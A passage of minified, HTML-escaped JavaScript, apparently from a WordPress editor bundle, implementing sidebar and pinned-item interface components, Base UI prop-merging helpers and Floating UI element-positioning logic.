o=(0,Cw.jsx)(jp,{icon:Kn,...r});return(0,Cw.jsxs)(&quot;div&quot;,{className:re(&quot;components-panel__header&quot;,&quot;interface-complementary-area-header&quot;,t),tabIndex:-1,children:[e,o]})},F7=dge;var M7=s(A(),1);var wu=s(A(),1),Tw=s(D(),1),Zy=s(C(),1),D7=()=&gt;{};function fge({name:e,as:t=wu.MenuGroup,fillProps:r={},bubblesVirtually:o,...n}){return(0,Zy.jsx)(wu.Slot,{name:e,bubblesVirtually:o,fillProps:r,children:i=&gt;{if(!Tw.Children.toArray(i).length)return null;let a=[];Tw.Children.forEach(i,({props:{__unstableExplicitMenuItem:c,__unstableTarget:u}})=&gt;{u&amp;&amp;c&amp;&amp;a.push(u)});let l=Tw.Children.map(i,c=&gt;!c.props.__unstableExplicitMenuItem&amp;&amp;a.includes(c.props.__unstableTarget)?null:c);return(0,Zy.jsx)(t,{...n,children:l})}})}function B7({name:e,as:t=wu.Button,onClick:r,...o}){return(0,Zy.jsx)(wu.Fill,{name:e,children:({onClick:n})=&gt;(0,Zy.jsx)(t,{onClick:r||n?(...i)=&gt;{(r||D7)(...i),(n||D7)(...i)}:void 0,...o})})}B7.Slot=fge;var rs=B7;var Pw=s(C(),1),mge=({__unstableExplicitMenuItem:e,__unstableTarget:t,...r})=&gt;(0,Pw.jsx)(M7.MenuItem,{...r});function xu({scope:e,target:t,__unstableExplicitMenuItem:r,...o}){return(0,Pw.jsx)(jp,{as:n=&gt;(0,Pw.jsx)(rs,{__unstableExplicitMenuItem:r,__unstableTarget:`${e}/${t}`,as:mge,name:`${e}/plugin-more-menu`,...n}),role:&quot;menuitemcheckbox&quot;,selectedIcon:Pi,name:t,scope:e,...o})}var Ew=s(A(),1),kw=s(C(),1);function L7({scope:e,...t}){return(0,kw.jsx)(Ew.Fill,{name:`PinnedItems/${e}`,...t})}function pge({scope:e,className:t,...r}){return(0,kw.jsx)(Ew.Slot,{name:`PinnedItems/${e}`,...r,children:o=&gt;o?.length&gt;0&amp;&amp;(0,kw.jsx)(&quot;div&quot;,{className:re(t,&quot;interface-pinned-items&quot;),children:o})})}L7.Slot=pge;var zp=L7;var Wr=s(C(),1),hge=.3;function gge({scope:e,...t}){return(0,Wr.jsx)(os.Slot,{name:`ComplementaryArea/${e}`,...t})}var z7=280,vge={open:{width:z7},closed:{width:0},mobileOpen:{width:&quot;100vw&quot;}};function yge({activeArea:e,isActive:t,scope:r,children:o,className:n,id:i}){let a=(0,Cu.useReducedMotion)(),l=(0,Cu.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),c=(0,Cu.usePrevious)(e),u=(0,Cu.usePrevious)(t),[,d]=(0,Oa.useState)({});(0,Oa.useEffect)(()=&gt;{d({})},[t]);let f={type:&quot;tween&quot;,duration:a||l||c&amp;&amp;e&amp;&amp;e!==c?0:hge,ease:[.6,0,.4,1]};return(0,Wr.jsx)(os.Fill,{name:`ComplementaryArea/${r}`,children:(0,Wr.jsx)(os.__unstableAnimatePresence,{initial:!1,children:(u||t)&amp;&amp;(0,Wr.jsx)(os.__unstableMotion.div,{variants:vge,initial:&quot;closed&quot;,animate:l?&quot;mobileOpen&quot;:&quot;open&quot;,exit:&quot;closed&quot;,transition:f,className:&quot;interface-complementary-area__fill&quot;,children:(0,Wr.jsx)(&quot;div&quot;,{id:i,className:n,style:{width:l?&quot;100vw&quot;:z7},children:o})})})})}function bge(e,t,r,o,n){let i=(0,Oa.useRef)(!1),a=(0,Oa.useRef)(!1),{enableComplementaryArea:l,disableComplementaryArea:c}=(0,Ky.useDispatch)(Ce);(0,Oa.useEffect)(()=&gt;{o&amp;&amp;n&amp;&amp;!i.current?(c(e),a.current=!0):a.current&amp;&amp;!n&amp;&amp;i.current?(a.current=!1,l(e,t)):a.current&amp;&amp;r&amp;&amp;r!==t&amp;&amp;(a.current=!1),n!==i.current&amp;&amp;(i.current=n)},[o,n,e,t,r,c,l])}function U7({children:e,className:t,closeLabel:r=(0,Rw.__)(&quot;Close plugin&quot;),identifier:o,header:n,headerClassName:i,icon:a,isPinnable:l=!0,panelClassName:c,scope:u,name:d,title:f,toggleShortcut:m,isActiveByDefault:h}){let g=(0,j7.usePluginContext)(),v=a||g.icon,y=o||`${g.name}/${d}`,[b,_]=(0,Oa.useState)(!1),{isLoading:S,isActive:x,isPinned:T,activeArea:R,isSmall:F,isLarge:B,showIconLabels:z}=(0,Ky.useSelect)(G=&gt;{let{getActiveComplementaryArea:Y,isComplementaryAreaLoading:Z,isItemPinned:V}=G(Ce),{get:j}=G(V7.store),H=Y(u);return{isLoading:Z(u),isActive:H===y,isPinned:V(u,y),activeArea:H,isSmall:G(HI.store).isViewportMatch(&quot;&lt; medium&quot;),isLarge:G(HI.store).isViewportMatch(&quot;large&quot;),showIconLabels:j(&quot;core&quot;,&quot;showIconLabels&quot;)}},[y,u]),L=(0,Cu.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);bge(u,y,R,x,F);let{enableComplementaryArea:M,disableComplementaryArea:k,pinItem:I,unpinItem:U}=(0,Ky.useDispatch)(Ce);if((0,Oa.useEffect)(()=&gt;{h&amp;&amp;R===void 0&amp;&amp;!F?M(u,y):R===void 0&amp;&amp;F&amp;&amp;k(u,y),_(!0)},[R,h,u,y,F,M,k]),!!b)return(0,Wr.jsxs)(Wr.Fragment,{children:[l&amp;&amp;(0,Wr.jsx)(zp,{scope:u,children:T&amp;&amp;(0,Wr.jsx)(jp,{scope:u,identifier:y,isPressed:x&amp;&amp;(!z||B),&quot;aria-expanded&quot;:x,&quot;aria-disabled&quot;:S,label:f,icon:z?Pi:v,showTooltip:!z,variant:z?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;,shortcut:m})}),d&amp;&amp;l&amp;&amp;(0,Wr.jsx)(xu,{target:d,scope:u,icon:v,identifier:y,children:f}),(0,Wr.jsxs)(yge,{activeArea:R,isActive:x,className:re(&quot;interface-complementary-area&quot;,t),scope:u,id:y.replace(&quot;/&quot;,&quot;:&quot;),children:[(0,Wr.jsx)(F7,{className:i,closeLabel:r,onClose:()=&gt;k(u),toggleButtonProps:{label:r,size:&quot;compact&quot;,shortcut:m,scope:u,identifier:y},children:n||(0,Wr.jsxs)(Wr.Fragment,{children:[(0,Wr.jsx)(&quot;h2&quot;,{className:&quot;interface-complementary-area-header__title&quot;,children:f}),l&amp;&amp;!L&amp;&amp;(0,Wr.jsx)(os.Button,{className:&quot;interface-complementary-area__pin-unpin-item&quot;,icon:T?GA:UA,label:T?(0,Rw.__)(&quot;Unpin from toolbar&quot;):(0,Rw.__)(&quot;Pin to toolbar&quot;),onClick:()=&gt;(T?U:I)(u,y),isPressed:T,&quot;aria-expanded&quot;:T,size:&quot;compact&quot;})]})}),(0,Wr.jsx)(os.Panel,{className:c,children:e})]})]})}U7.Slot=gge;var ql=U7;var GI=s(D(),1),Sge=({isActive:e})=&gt;((0,GI.useEffect)(()=&gt;{let t=!1;return document.body.classList.contains(&quot;sticky-menu&quot;)&amp;&amp;(t=!0,document.body.classList.remove(&quot;sticky-menu&quot;)),()=&gt;{t&amp;&amp;document.body.classList.add(&quot;sticky-menu&quot;)}},[]),(0,GI.useEffect)(()=&gt;(e?document.body.classList.add(&quot;is-fullscreen-mode&quot;):document.body.classList.remove(&quot;is-fullscreen-mode&quot;),()=&gt;{e&amp;&amp;document.body.classList.remove(&quot;is-fullscreen-mode&quot;)}),[e]),null),H7=Sge;var G7=s(D(),1),W7=s(C(),1),Y7=(0,G7.forwardRef)(({children:e,className:t,ariaLabel:r,as:o=&quot;div&quot;,...n},i)=&gt;(0,W7.jsx)(o,{ref:i,className:re(&quot;admin-ui-navigable-region&quot;,t),&quot;aria-label&quot;:r,role:&quot;region&quot;,tabIndex:&quot;-1&quot;,...n,children:e}));Y7.displayName=&quot;NavigableRegion&quot;;var Tu=Y7;var Z7=s(Jn(),1),q7={};function WI(e,t){let r=Z7.useRef(q7);return r.current===q7&amp;&amp;(r.current=e(t)),r}function YI(e,...t){let r=new URL(`https://base-ui.com/production-error/${e}`);return t.forEach(o=&gt;r.searchParams.append(&quot;args[]&quot;,o)),`Base UI error #${e}; visit ${r} for the full message.`}var Aw=s(Jn(),1);function qI(e,t,r,o){let n=WI(X7).current;return _ge(n,e,t,r,o)&amp;&amp;Q7(n,[e,t,r,o]),n.callback}function K7(e){let t=WI(X7).current;return wge(t,e)&amp;&amp;Q7(t,e),t.callback}function X7(){return{callback:null,cleanup:null,refs:[]}}function _ge(e,t,r,o,n){return e.refs[0]!==t||e.refs[1]!==r||e.refs[2]!==o||e.refs[3]!==n}function wge(e,t){return e.refs.length!==t.length||e.refs.some((r,o)=&gt;r!==t[o])}function Q7(e,t){if(e.refs=t,t.every(r=&gt;r==null)){e.callback=null;return}e.callback=r=&gt;{if(e.cleanup&amp;&amp;(e.cleanup(),e.cleanup=null),r!=null){let o=Array(t.length).fill(null);for(let n=0;n&lt;t.length;n+=1){let i=t[n];if(i!=null)switch(typeof i){case&quot;function&quot;:{let a=i(r);typeof a==&quot;function&quot;&amp;&amp;(o[n]=a);break}case&quot;object&quot;:{i.current=r;break}default:}}e.cleanup=()=&gt;{for(let n=0;n&lt;t.length;n+=1){let i=t[n];if(i!=null)switch(typeof i){case&quot;function&quot;:{let a=o[n];typeof a==&quot;function&quot;?a():i(null);break}case&quot;object&quot;:{i.current=null;break}default:}}}}}}var e9=s(Jn(),1);var J7=s(Jn(),1),xge=parseInt(J7.version,10);function $7(e){return xge&gt;=e}function ZI(e){if(!e9.isValidElement(e))return null;let t=e,r=t.props;return($7(19)?r?.ref:t.ref)??null}function Xy(e,t){if(e&amp;&amp;!t)return e;if(!e&amp;&amp;t)return t;if(e||t)return{...e,...t}}function t9(e,t){let r={};for(let o in e){let n=e[o];if(t?.hasOwnProperty(o)){let i=t[o](n);i!=null&amp;&amp;Object.assign(r,i);continue}n===!0?r[`data-${o.toLowerCase()}`]=&quot;&quot;:n&amp;&amp;(r[`data-${o.toLowerCase()}`]=n.toString())}return r}function r9(e,t){return typeof e==&quot;function&quot;?e(t):e}function o9(e,t){return typeof e==&quot;function&quot;?e(t):e}var Jy={};function Up(e,t,r,o,n){let i={...KI(e,Jy)};return t&amp;&amp;(i=Qy(i,t)),r&amp;&amp;(i=Qy(i,r)),o&amp;&amp;(i=Qy(i,o)),n&amp;&amp;(i=Qy(i,n)),i}function n9(e){if(e.length===0)return Jy;if(e.length===1)return KI(e[0],Jy);let t={...KI(e[0],Jy)};for(let r=1;r&lt;e.length;r+=1)t=Qy(t,e[r]);return t}function Qy(e,t){return i9(t)?t(e):Cge(e,t)}function Cge(e,t){if(!t)return e;for(let r in t){let o=t[r];switch(r){case&quot;style&quot;:{e[r]=Xy(e.style,o);break}case&quot;className&quot;:{e[r]=XI(e.className,o);break}default:Tge(r,o)?e[r]=Pge(e[r],o):e[r]=o}}return e}function Tge(e,t){let r=e.charCodeAt(0),o=e.charCodeAt(1),n=e.charCodeAt(2);return r===111&amp;&amp;o===110&amp;&amp;n&gt;=65&amp;&amp;n&lt;=90&amp;&amp;(typeof t==&quot;function&quot;||typeof t&gt;&quot;u&quot;)}function i9(e){return typeof e==&quot;function&quot;}function KI(e,t){return i9(e)?e(t):e??Jy}function Pge(e,t){return t?e?r=&gt;{if(Ege(r)){let n=r;kge(n);let i=t(n);return n.baseUIHandlerPrevented||e?.(n),i}let o=t(r);return e?.(r),o}:t:e}function kge(e){return e.preventBaseUIHandler=()=&gt;{e.baseUIHandlerPrevented=!0},e}function XI(e,t){return t?e?t+&quot; &quot;+e:t:e}function Ege(e){return e!=null&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;&quot;nativeEvent&quot;in e}var Rge=Object.freeze([]),Pu=Object.freeze({});var QI=s(Jn(),1);function s9(e,t,r={}){let o=t.render,n=Age(t,r);if(r.enabled===!1)return null;let i=r.state??Pu;return Oge(e,o,n,i)}function Age(e,t={}){let{className:r,style:o,render:n}=e,{state:i=Pu,ref:a,props:l,stateAttributesMapping:c,enabled:u=!0}=t,d=u?r9(r,i):void 0,f=u?o9(o,i):void 0,m=u?t9(i,c):Pu,h=u?Xy(m,Array.isArray(l)?n9(l):l)??Pu:Pu;return typeof document&lt;&quot;u&quot;&amp;&amp;(u?Array.isArray(a)?h.ref=K7([h.ref,ZI(n),...a]):h.ref=qI(h.ref,ZI(n),a):qI(null,null)),u?(d!==void 0&amp;&amp;(h.className=XI(h.className,d)),f!==void 0&amp;&amp;(h.style=Xy(h.style,f)),h):Pu}function Oge(e,t,r,o){if(t){if(typeof t==&quot;function&quot;)return t(r,o);let n=Up(r,t.props);return n.ref=r.ref,Aw.cloneElement(t,n)}if(e&amp;&amp;typeof e==&quot;string&quot;)return Ige(e,r);throw new Error(YI(8))}function Ige(e,t){return e===&quot;button&quot;?(0,QI.createElement)(&quot;button&quot;,{type:&quot;button&quot;,...t,key:t.key}):e===&quot;img&quot;?(0,QI.createElement)(&quot;img&quot;,{alt:&quot;&quot;,...t,key:t.key}):Aw.createElement(e,t)}function Ow(){return typeof window&lt;&quot;u&quot;}function yf(e){return l9(e)?(e.nodeName||&quot;&quot;).toLowerCase():&quot;#document&quot;}function ei(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Hs(e){var t;return(t=(l9(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function l9(e){return Ow()?e instanceof Node||e instanceof ei(e).Node:!1}function ns(e){return Ow()?e instanceof Element||e instanceof ei(e).Element:!1}function Gs(e){return Ow()?e instanceof HTMLElement||e instanceof ei(e).HTMLElement:!1}function a9(e){return!Ow()||typeof ShadowRoot&gt;&quot;u&quot;?!1:e instanceof ShadowRoot||e instanceof ei(e).ShadowRoot}var Nge=new Set([&quot;inline&quot;,&quot;contents&quot;]);function Hp(e){let{overflow:t,overflowX:r,overflowY:o,display:n}=is(e);return/auto|scroll|overlay|hidden|clip/.test(t+o+r)&amp;&amp;!Nge.has(n)}var Fge=new Set([&quot;table&quot;,&quot;td&quot;,&quot;th&quot;]);function c9(e){return Fge.has(yf(e))}var Dge=[&quot;:popover-open&quot;,&quot;:modal&quot;];function $y(e){return Dge.some(t=&gt;{try{return e.matches(t)}catch{return!1}})}var Bge=[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;],Mge=[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;,&quot;filter&quot;],Lge=[&quot;paint&quot;,&quot;layout&quot;,&quot;strict&quot;,&quot;content&quot;];function Iw(e){let t=Nw(),r=ns(e)?is(e):e;return Bge.some(o=&gt;r[o]?r[o]!==&quot;none&quot;:!1)||(r.containerType?r.containerType!==&quot;normal&quot;:!1)||!t&amp;&amp;(r.backdropFilter?r.backdropFilter!==&quot;none&quot;:!1)||!t&amp;&amp;(r.filter?r.filter!==&quot;none&quot;:!1)||Mge.some(o=&gt;(r.willChange||&quot;&quot;).includes(o))||Lge.some(o=&gt;(r.contain||&quot;&quot;).includes(o))}function u9(e){let t=Zl(e);for(;Gs(t)&amp;&amp;!bf(t);){if(Iw(t))return t;if($y(t))return null;t=Zl(t)}return null}function Nw(){return typeof CSS&gt;&quot;u&quot;||!CSS.supports?!1:CSS.supports(&quot;-webkit-backdrop-filter&quot;,&quot;none&quot;)}var Vge=new Set([&quot;html&quot;,&quot;body&quot;,&quot;#document&quot;]);function bf(e){return Vge.has(yf(e))}function is(e){return ei(e).getComputedStyle(e)}function eb(e){return ns(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function Zl(e){if(yf(e)===&quot;html&quot;)return e;let t=e.assignedSlot||e.parentNode||a9(e)&amp;&amp;e.host||Hs(e);return a9(t)?t.host:t}function d9(e){let t=Zl(e);return bf(t)?e.ownerDocument?e.ownerDocument.body:e.body:Gs(t)&amp;&amp;Hp(t)?t:d9(t)}function vf(e,t,r){var o;t===void 0&amp;&amp;(t=[]),r===void 0&amp;&amp;(r=!0);let n=d9(e),i=n===((o=e.ownerDocument)==null?void 0:o.body),a=ei(n);if(i){let l=Fw(a);return t.concat(a,a.visualViewport||[],Hp(n)?n:[],l&amp;&amp;r?vf(l):[])}return t.concat(n,vf(n,[],r))}function Fw(e){return e.parent&amp;&amp;Object.getPrototypeOf(e.parent)?e.frameElement:null}var tb=Math.min,ku=Math.max,rb=Math.round,ob=Math.floor,Ws=e=&gt;({x:e,y:e});function f9(e,t){return typeof e==&quot;function&quot;?e(t):e}function Dw(e){return e.split(&quot;-&quot;)[0]}function JI(e){return e.split(&quot;-&quot;)[1]}function m9(e){return e===&quot;x&quot;?&quot;y&quot;:&quot;x&quot;}function p9(e){return e===&quot;y&quot;?&quot;height&quot;:&quot;width&quot;}var jge=new Set([&quot;top&quot;,&quot;bottom&quot;]);function Bw(e){return jge.has(Dw(e))?&quot;y&quot;:&quot;x&quot;}function h9(e){return m9(Bw(e))}function nb(e){let{x:t,y:r,width:o,height:n}=e;return{width:o,height:n,top:r,left:t,right:t+o,bottom:r+n,x:t,y:r}}function g9(e,t,r){let{reference:o,floating:n}=e,i=Bw(t),a=h9(t),l=p9(a),c=Dw(t),u=i===&quot;y&quot;,d=o.x+o.width/2-n.width/2,f=o.y+o.height/2-n.height/2,m=o[l]/2-n[l]/2,h;switch(c){case&quot;top&quot;:h={x:d,y:o.y-n.height};break;case&quot;bottom&quot;:h={x:d,y:o.y+o.height};break;case&quot;right&quot;:h={x:o.x+o.width,y:f};break;case&quot;left&quot;:h={x:o.x-n.width,y:f};break;default:h={x:o.x,y:o.y}}switch(JI(t)){case&quot;start&quot;:h[a]-=m*(r&amp;&amp;u?-1:1);break;case&quot;end&quot;:h[a]+=m*(r&amp;&amp;u?-1:1);break}return h}var v9=async(e,t,r)=&gt;{let{placement:o=&quot;bottom&quot;,strategy:n=&quot;absolute&quot;,middleware:i=[],platform:a}=r,l=i.filter(Boolean),c=await(a.isRTL==null?void 0:a.isRTL(t)),u=await a.getElementRects({reference:e,floating:t,strategy:n}),{x:d,y:f}=g9(u,o,c),m=o,h={},g=0;for(let v=0;v&lt;l.length;v++){let{name:y,fn:b}=l[v],{x:_,y:S,data:x,reset:T}=await b({x:d,y:f,initialPlacement:o,placement:m,strategy:n,middlewareData:h,rects:u,platform:a,elements:{reference:e,floating:t}});d=_??d,f=S??f,h={...h,[y]:{...h[y],...x}},T&amp;&amp;g&lt;=50&amp;&amp;(g++,typeof T==&quot;object&quot;&amp;&amp;(T.placement&amp;&amp;(m=T.placement),T.rects&amp;&amp;(u=T.rects===!0?await a.getElementRects({reference:e,floating:t,strategy:n}):T.rects),{x:d,y:f}=g9(u,m,c)),v=-1)}return{x:d,y:f,placement:m,strategy:n,middlewareData:h}};var zge=new Set([&quot;left&quot;,&quot;top&quot;]);async function Uge(e,t){let{placement:r,platform:o,elements:n}=e,i=await(o.isRTL==null?void 0:o.isRTL(n.floating)),a=Dw(r),l=JI(r),c=Bw(r)===&quot;y&quot;,u=zge.has(a)?-1:1,d=i&amp;&amp;c?-1:1,f=f9(t,e),{mainAxis:m,crossAxis:h,alignmentAxis:g}=typeof f==&quot;number&quot;?{mainAxis:f,crossAxis:0,alignmentAxis:null}:{mainAxis:f.mainAxis||0,crossAxis:f.crossAxis||0,alignmentAxis:f.alignmentAxis};return l&amp;&amp;typeof g==&quot;number&quot;&amp;&amp;(h=l===&quot;end&quot;?g*-1:g),c?{x:h*d,y:m*u}:{x:m*u,y:h*d}}var y9=function(e){return e===void 0&amp;&amp;(e=0),{name:&quot;offset&quot;,options:e,async fn(t){var r,o;let{x:n,y:i,placement:a,middlewareData:l}=t,c=await Uge(t,e);return a===((r=l.offset)==null?void 0:r.placement)&amp;&amp;(o=l.arrow)!=null&amp;&amp;o.alignmentOffset?{}:{x:n+c.x,y:i+c.y,data:{...c,placement:a}}}}};function w9(e){let t=is(e),r=parseFloat(t.width)||0,o=parseFloat(t.height)||0,n=Gs(e),i=n?e.offsetWidth:r,a=n?e.offsetHeight:o,l=rb(r)!==i||rb(o)!==a;return l&amp;&amp;(r=i,o=a),{width:r,height:o,$:l}}function e6(e){return ns(e)?e:e.contextElement}function Gp(e){let t=e6(e);if(!Gs(t))return Ws(1);let r=t.getBoundingClientRect(),{width:o,height:n,$:i}=w9(t),a=(i?rb(r.width):r.width)/o,l=(i?rb(r.height):r.height)/n;return(!a||!Number.isFinite(a))&amp;&amp;(a=1),(!l||!Number.isFinite(l))&amp;&amp;(l=1),{x:a,y:l}}var Hge=Ws(0);function x9(e){let t=ei(e);return!Nw()||!t.visualViewport?Hge:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function Gge(e,t,r){return t===void 0&amp;&amp;(t=!1),!r||t&amp;&amp;r!==ei(e)?!1:t}function Sf(e,t,r,o){t===void 0&amp;&amp;(t=!1),r===void 0&amp;&amp;(r=!1);let n=e.getBoundingClientRect(),i=e6(e),a=Ws(1);t&amp;&amp;(o?ns(o)&amp;&amp;(a=Gp(o)):a=Gp(e));let l=Gge(i,r,o)?x9(i):Ws(0),c=(n.left+l.x)/a.x,u=(n.top+l.y)/a.y,d=n.width/a.x,f=n.height/a.y;if(i){let m=ei(i),h=o&amp;&amp;ns(o)?ei(o):o,g=m,v=Fw(g);for(;v&amp;&amp;o&amp;&amp;h!==g;){let y=Gp(v),b=v.getBoundingClientRect(),_=is(v),S=b.left+(v.clientLeft+parseFloat(_.paddingLeft))*y.x,x=b.top+(v.clientTop+parseFloat(_.paddingTop))*y.y;c*=y.x,u*=y.y,d*=y.x,f*=y.y,c+=S,u+=x,g=ei(v),v=Fw(g)}}return nb({width:d,height:f,x:c,y:u})}function Mw(e,t){let r=eb(e).scrollLeft;return t?t.left+r:Sf(Hs(e)).left+r}function C9(e,t){let r=e.getBoundingClientRect(),o=r.left+t.scrollLeft-Mw(e,r),n=r.top+t.scrollTop;return{x:o,y:n}}function Wge(e){let{elements:t,rect:r,offsetParent:o,strategy:n}=e,i=n===&quot;fixed&quot;,a=Hs(o),l=t?$y(t.floating):!1;if(o===a||l&amp;&amp;i)return r;let c={scrollLeft:0,scrollTop:0},u=Ws(1),d=Ws(0),f=Gs(o);if((f||!f&amp;&amp;!i)&amp;&amp;((yf(o)!==&quot;body&quot;||Hp(a))&amp;&amp;(c=eb(o)),Gs(o))){let h=Sf(o);u=Gp(o),d.x=h.x+o.clientLeft,d.y=h.y+o.clientTop}let m=a&amp;&amp;!f&amp;&amp;!i?C9(a,c):Ws(0);return{width:r.width*u.x,height:r.height*u.y,x:r.x*u.x-c.scrollLeft*u.x+d.x+m.x,y:r.y*u.y-c.scrollTop*u.y+d.y+m.y}}function Yge(e){return Array.from(e.getClientRects())}function qge(e){let t=Hs(e),r=eb(e),o=e.ownerDocument.body,n=ku(t.scrollWidth,t.clientWidth,o.scrollWidth,o.clientWidth),i=ku(t.scrollHeight,t.clientHeight,o.scrollHeight,o.clientHeight),a=-r.scrollLeft+Mw(e),l=-r.scrollTop;return is(o).direction===&quot;rtl&quot;&amp;&amp;(a+=ku(t.clientWidth,o.clientWidth)-n),{width:n,height:i,x:a,y:l}}var b9=25;function Zge(e,t){let r=ei(e),o=Hs(e),n=r.visualViewport,i=o.clientWidth,a=o.clientHeight,l=0,c=0;if(n){i=n.width,a=n.height;let d=Nw();(!d||d&amp;&amp;t===&quot;fixed&quot;)&amp;&amp;(l=n.offsetLeft,c=n.offsetTop)}let u=Mw(o);if(u&lt;=0){let d=o.ownerDocument,f=d.body,m=getComputedStyle(f),h=d.compatMode===&quot;CSS1Compat&quot;&amp;&amp;parseFloat(m.marginLeft)+parseFloat(m.marginRight)||0,g=Math.abs(o.clientWidth-f.clientWidth-h);g&lt;=b9&amp;&amp;(i-=g)}else u&lt;=b9&amp;&amp;(i+=u);return{width:i,height:a,x:l,y:c}}var Kge=new Set([&quot;absolute&quot;,&quot;fixed&quot;]);function Xge(e,t){let r=Sf(e,!0,t===&quot;fixed&quot;),o=r.top+e.clientTop,n=r.left+e.clientLeft,i=Gs(e)?Gp(e):Ws(1),a=e.clientWidth*i.x,l=e.clientHeight*i.y,c=n*i.x,u=o*i.y;return{width:a,height:l,x:c,y:u}}function S9(e,t,r){let o;if(t===&quot;viewport&quot;)o=Zge(e,r);else if(t===&quot;document&quot;)o=qge(Hs(e));else if(ns(t))o=Xge(t,r);else{let n=x9(e);o={x:t.x-n.x,y:t.y-n.y,width:t.width,height:t.height}}return nb(o)}function T9(e,t){let r=Zl(e);return r===t||!ns(r)||bf(r)?!1:is(r).position===&quot;fixed&quot;||T9(r,t)}function Qge(e,t){let r=t.get(e);if(r)return r;let o=vf(e,[],!1).filter(l=&gt;ns(l)&amp;&amp;yf(l)!==&quot;body&quot;),n=null,i=is(e).position===&quot;fixed&quot;,a=i?Zl(e):e;for(;ns(a)&amp;&amp;!bf(a);){let l=is(a),c=Iw(a);!c&amp;&amp;l.position===&quot;fixed&quot;&amp;&amp;(n=null),(i?!c&amp;&amp;!n:!c&amp;&amp;l.position===&quot;static&quot;&amp;&amp;!!n&amp;&amp;Kge.has(n.position)||Hp(a)&amp;&amp;!c&amp;&amp;T9(e,a))?o=o.filter(d=&gt;d!==a):n=l,a=Zl(a)}return t.set(e,o),o}function Jge(e){let{element:t,boundary:r,rootBoundary:o,strategy:n}=e,a=[...r===&quot;clippingAncestors&quot;?$y(t)?[]:Qge(t,this._c):[].concat(r),o],l=a[0],c=a.reduce((u,d)=&gt;{let f=S9(t,d,n);return u.top=ku(f.top,u.top),u.right=tb(f.right,u.right),u.bottom=tb(f.bottom,u.bottom),u.left=ku(f.left,u.left),u},S9(t,l,n));return{width:c.right-c.left,height:c.bottom-c.top,x:c.left,y:c.top}}function $ge(e){let{width:t,height:r}=w9(e);return{width:t,height:r}}function eve(e,t,r){let o=Gs(t),n=Hs(t),i=r===&quot;fixed&quot;,a=Sf(e,!0,i,t),l={scrollLeft:0,scrollTop:0},c=Ws(0);function u(){c.x=Mw(n)}if(o||!o&amp;&amp;!i)if((yf(t)!==&quot;body&quot;||Hp(n))&amp;&amp;(l=eb(t)),o){let h=Sf(t,!0,i,t);c.x=h.x+t.clientLeft,c.y=h.y+t.clientTop}else n&amp;&amp;u();i&amp;&amp;!o&amp;&amp;n&amp;&amp;u();let d=n&amp;&amp;!o&amp;&amp;!i?C9(n,l):Ws(0),f=a.left+l.scrollLeft-c.x-d.x,m=a.top+l.scrollTop-c.y-d.y;return{x:f,y:m,width:a.width,height:a.height}}function $I(e){return is(e).position===&quot;static&quot;}function _9(e,t){if(!Gs(e)||is(e).position===&quot;fixed&quot;)return null;if(t)return t(e);let r=e.offsetParent;return Hs(e)===r&amp;&amp;(r=r.ownerDocument.body),r}function P9(e,t){let r=ei(e);if($y(e))return r;if(!Gs(e)){let n=Zl(e);for(;n&amp;&amp;!bf(n);){if(ns(n)&amp;&amp;!$I(n))return n;n=Zl(n)}return r}let o=_9(e,t);for(;o&amp;&amp;c9(o)&amp;&amp;$I(o);)o=_9(o,t);return o&amp;&amp;bf(o)&amp;&amp;$I(o)&amp;&amp;!Iw(o)?r:o||u9(e)||r}var tve=async function(e){let t=this.getOffsetParent||P9,r=this.getDimensions,o=await r(e.floating);return{reference:eve(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:o.width,height:o.height}}};function rve(e){return is(e).direction===&quot;rtl&quot;}var k9={convertOffsetParentRelativeRectToViewportRelativeRect:Wge,getDocumentElement:Hs,getClippingRect:Jge,getOffsetParent:P9,getElementRects:tve,getClientRects:Yge,getDimensions:$ge,getScale:Gp,isElement:ns,isRTL:rve};function E9(e,t){return e.x===t.x&amp;&amp;e.y===t.y&amp;&amp;e.width===t.width&amp;&amp;e.height===t.height}function ove(e,t){let r=null,o,n=Hs(e);function i(){var l;clearTimeout(o),(l=r)==null||l.disconnect(),r=null}function a(l,c){l===void 0&amp;&amp;(l=!1),c===void 0&amp;&amp;(c=1),i();let u=e.getBoundingClientRect(),{left:d,top:f,width:m,height:h}=u;if(l||t(),!m||!h)return;let g=ob(f),v=ob(n.clientWidth-(d+m)),y=ob(n.clientHeight-(f+h)),b=ob(d),S={rootMargin:-g+&quot;px &quot;+-v+&quot;px &quot;+-y+&quot;px &quot;+-b+&quot;px&quot;,threshold:ku(0,tb(1,c))||1},x=!0;function T(R){let F=R[0].intersectionRatio;if(F!==c){if(!x)return a();F?a(!1,F):o=setTimeout(()=&gt;{a(!1,1e-7)},1e3)}F===1&amp;&amp;!E9(u,e.getBoundingClientRect())&amp;&amp;a(),x=!1}try{r=new IntersectionObserver(T,{...S,root:n.ownerDocument})}catch{r=new IntersectionObserver(T,S)}r.observe(e)}return a(!0),i}function t6(e,t,r,o){o===void 0&amp;&amp;(o={});let{ancestorScroll:n=!0,ancestorResize:i=!0,elementResize:a=typeof ResizeObserver==&quot;function&quot;,layoutShift:l=typeof IntersectionObserver==&quot;function&quot;,animationFrame:c=!1}=o,u=e6(e),d=n||i?[...u?vf(u):[],...vf(t)]:[];d.forEach(b=&gt;{n&amp;&amp;b.addEventListener(&quot;scroll&quot;,r,{passive:!0}),i&amp;&amp;b.addEventListener(&quot;resize&quot;,r)});let f=u&amp;&amp;l?ove(u,r):null,m=-1,h=null;a&amp;&amp;(h=new ResizeObserver(b=&gt;{let[_]=b;_&amp;&amp;_.target===u&amp;&amp;h&amp;&amp;(h.unobserve(t),cancelAnimationFrame(m),m=requestAnimationFrame(()=&gt;{var S;(S=h)==null||S.observe(t)})),r()}),u&amp;&amp;!c&amp;&amp;h.observe(u),h.observe(t));let g,v=c?Sf(e):null;c&amp;&amp;y();function y(){let 